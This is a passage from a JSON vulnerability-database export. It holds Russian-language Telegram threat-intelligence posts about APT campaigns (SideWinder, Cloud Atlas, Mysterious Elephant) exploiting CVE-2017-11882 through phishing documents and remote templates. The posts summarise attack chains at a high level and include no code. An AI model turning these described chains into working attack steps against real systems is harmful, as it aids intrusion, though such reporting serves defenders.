\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0446\u0435\u043b\u0438.\n\n\u0412 \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0444\u0430\u043b\u044c\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u043f\u043e\u0440\u0442\u0430 \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440\u0438\u044f \u0432 \u0421\u0440\u0435\u0434\u0438\u0437\u0435\u043c\u043d\u043e\u043c \u043c\u043e\u0440\u0435, \u0442\u0430\u043a\u0436\u0435 \u041f\u043e\u0440\u0442\u043e\u0432\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u041a\u0440\u0430\u0441\u043d\u043e\u043c \u043c\u043e\u0440\u0435.\n\n\u0412\u0441\u0435 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0448\u0430\u0431\u043b\u043e\u043d\u0430 (CVE-2017-0199) \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0446\u0435\u043b\u0438.\n\n\u0422\u0435\u043b\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432 \u0432\u0438\u0434\u0435 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 URL \u0432 \u0432\u0438\u0434\u0435 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0435\u0434\u0435\u0442 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0430\u0439\u0442, \u043e\u0442\u043a\u0443\u0434\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430.\n\n\u0414\u0430\u043b\u0435\u0435 \u0444\u0430\u0439\u043b \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 RTF \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882. \u041e\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0448\u0435\u043b\u043b\u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0444\u0430\u0439\u043b\u0430.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0432\u00a0\u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 SideWinder\u00a0\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 JavaScript, \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0432 \u0444\u0430\u0439\u043b\u0435 RTF.\n\n\u0426\u0435\u043b\u044c\u044e \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0436\u0435\u0440\u0442\u0432\u044b, \u0447\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439, \u0430 \u043d\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u043e\u0439.\n\n\u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043a\u043e\u0434 JavaScript, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0433\u0440\u0443\u0437\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u044d\u0442\u0430\u043f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 - \u0442\u0430\u043a\u0436\u0435 \u043a\u043e\u0434\u043e\u043c JavaScript (\u043d\u043e \u0437\u0430\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0437\u0446\u044b \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c).\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u043e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u04212 \u0441 \u0433\u0435\u043e\u0442\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u0432\u043e\u0430\u043d\u0438\u0435\u043c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2024-07-29T20:00:07.000000Z"}, {"uuid": "8fe4327c-8dad-4d99-9b37-077e2f176b1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/NeKaspersky/3493", "content": "\u0411\u044c\u044e\u0442 \u043f\u043e \u0431\u043e\u043b\u044c\u043d\u043e\u043c\u0443 \n\n\u0425\u0430\u043a\u0435\u0440\u044b \u0438\u0437 Cloud Atlas\u00a0\u0441\u043e\u0432\u0435\u0440\u0448\u0438\u043b\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 mil.dip@mail.ru \u0438 antonowadebora@yandex.ru. \n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u0430\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a. \u0412 \u043e\u0434\u043d\u043e\u043c \u043f\u0438\u0441\u044c\u043c\u0435 \u043e\u043d\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438\u0441\u044c \u0447\u043b\u0435\u043d\u0430\u043c\u0438 \u00ab\u041c\u043e\u0441\u043a\u043e\u0432\u0441\u043a\u043e\u0439 \u0433\u043e\u0440\u043e\u0434\u0441\u043a\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u041e\u0431\u0449\u0435\u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043e\u044e\u0437\u0430 \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u043e\u0432 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439\u00bb \u0438 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u0443\u0447\u0430\u0441\u0442\u0438\u0435 \u0432 \u0441\u0431\u043e\u0440\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043a \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\u043c \u0421\u0412\u041e.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0438 \u0445\u0430\u043a\u0435\u0440\u044b \u043e\u0442 \u043b\u0438\u0446\u0430 \u00ab\u0410\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u0438 \u0423\u0447\u0435\u0431\u043d\u044b\u0445 \u0426\u0435\u043d\u0442\u0440\u043e\u0432\u00bb \u043f\u043e\u0434\u043d\u044f\u043b\u0438 \u0442\u0435\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u0437\u0430\u043a\u043e\u043d\u043e\u0434\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435 \u043e \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u0432\u043e\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u0443\u0447\u0435\u0442\u0430 \u0438 \u0431\u0440\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0433\u0440\u0430\u0436\u0434\u0430\u043d, \u043f\u0440\u0435\u0431\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u0432 \u0437\u0430\u043f\u0430\u0441\u0435. \n\n\u042d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e RTF-\u0448\u0430\u0431\u043b\u043e\u043d\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e \u0438\u0437\u0431\u0438\u0442\u0443\u044e \u043e\u0444\u0438\u0441\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882.\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e Cloud Atlas\u00a0\u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u043e\u0434\u043d\u043e\u043a\u0440\u0430\u0442\u043d\u043e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0432 \u0421\u043b\u043e\u0432\u0435\u043d\u0438\u0438, \u0410\u0437\u0435\u0440\u0431\u0430\u0439\u0434\u0436\u0430\u043d\u0435, \u0422\u0443\u0440\u0446\u0438\u0438 \u0438 \u0411\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u0438\u0438. \n\n\u041d\u0435\u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u0438\u0439", "creation_timestamp": "2024-01-09T15:37:35.000000Z"}, {"uuid": "f6b732c2-8bd4-4310-ac85-355a591d2689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/true_secator/4701", "content": "\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u0430\u0440\u0443 \u043b\u0435\u0442 \u0410\u0437\u0438\u0430\u0442\u0441\u043a\u043e-\u0422\u0438\u0445\u043e\u043e\u043a\u0435\u0430\u043d\u0441\u043a\u0438\u0439 \u0440\u0435\u0433\u0438\u043e\u043d \u0431\u044b\u043b \u043e\u0447\u0430\u0433\u043e\u043c \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0421\u0440\u0435\u0434\u0438 \u043c\u043d\u043e\u0433\u0438\u0445 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432 APT, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0432 \u044d\u0442\u043e\u043c \u0440\u0435\u0433\u0438\u043e\u043d\u0435, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0438\u0445 \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u043f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0441\u043a\u0438\u0445 \u0436\u0435\u0440\u0442\u0432\u0430\u0445.\n\n\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0432 \u044d\u0442\u043e\u043c \u0440\u0435\u0433\u0438\u043e\u043d\u0435, \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u043f\u043e\u0445\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u0435 \u0436\u0435\u0440\u0442\u0432\u044b, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043f\u043e\u0441\u0432\u044f\u0442\u0438\u043b\u0438 \u0434\u0432\u0430 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441 \u0430\u043d\u0430\u043b\u0438\u0437\u043e\u043c TTP \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442, \u043d\u0430\u0437\u0432\u0430\u0432 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 Mysterious Elephant.\n\n\u041f\u0440\u0438\u0447\u0435\u043c, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 Mysterious Elephant \u0438\u043c\u0435\u044e\u0442 \u0441\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0441\u043e \u0441\u0442\u0430\u0440\u044b\u043c\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u043d\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0440\u0435\u0433\u0438\u043e\u043d\u0435.\n\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 Rover \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u0443 SideWinder \u0438 Confucius.\n\n\u041e\u0434\u0438\u043d \u0438\u0437 \u043e\u0442\u0447\u0435\u0442\u043e\u0432 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0440\u044f\u0434 \u0436\u0435\u0440\u0442\u0432 \u0432 \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0435.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0432 \u044d\u0442\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043d\u043e\u0432\u043e\u0435 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u043e \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u044b \u0436\u0435\u0440\u0442\u0432 \u0447\u0435\u0440\u0435\u0437 RTF-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 CVE-2017-11882, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 \u0434\u0440\u0443\u0433\u043e\u0439 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.\n\n\u041c\u043e\u0434\u0443\u043b\u044c \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u044c \u0441\u043e \u0441\u0432\u043e\u0438\u043c C2-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440 (RPC) \u0438 \u0438\u043c\u0435\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435 \u0436\u0435\u0440\u0442\u0432\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 C2-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u0438\u043d\u0444\u043e\u0441\u0435\u043a-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f KNOW Chuangyu \u043f\u0440\u0438\u0448\u043b\u0430 \u043a \u0432\u044b\u0432\u043e\u0434\u0443, \u0447\u0442\u043e Mysterious Elephant, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e, - \u044d\u0442\u043e \u043d\u0438 \u043a\u0442\u043e \u0438\u043d\u0430\u044f \u043a\u0430\u043a Bitter APT.\n\n\u041d\u0430 \u0435\u0435 \u0441\u043b\u0435\u0434 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u0432\u044b\u0448\u043b\u0438 \u0440\u0430\u043d\u0435\u0435 \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0434\u0443 \u0447\u0435\u0440\u0435\u0437 \u0430\u043d\u0430\u043b\u0438\u0437 \u043d\u043e\u0432\u043e\u0433\u043e \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c ORPCBackdoor.\n\n\u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Chuangyu \u0441\u0447\u0438\u0442\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0435\u0439 \u0431\u044d\u043a\u0434\u043e\u0440, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u0439 \u0436\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439, \u0447\u0442\u043e \u0438 ORPCBackdoor.\n\n\u0410\u0420\u0422 Mysterious Elephant \u043a\u0438\u0442\u0430\u0439\u0446\u044b \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442 \u043a\u0430\u043a APT-K-47.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u0431\u0449\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0445 \u0436\u0435\u0440\u0442\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0430, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0432 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0410\u0420\u0422 IOC.", "creation_timestamp": "2023-08-08T12:00:05.000000Z"}, {"uuid": "e2150696-c691-4d9b-b8c1-31ab38e87ee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/4699", "content": "\u0420\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432 crimeware, \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044f \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0437\u0446\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u044f \u0437\u0430 \u0431\u043e\u0442\u043d\u0435\u0442\u0430\u043c\u0438 \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0430 \u0442\u0435\u043d\u0435\u0432\u044b\u0445 \u0444\u043e\u0440\u0443\u043c\u0430\u0445.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u043d\u043e\u0432\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u0430\u0445\u00a0Emotet \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 DarkGate, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c\u00a0\u0441\u0442\u0438\u043b\u0435\u0440\u0430 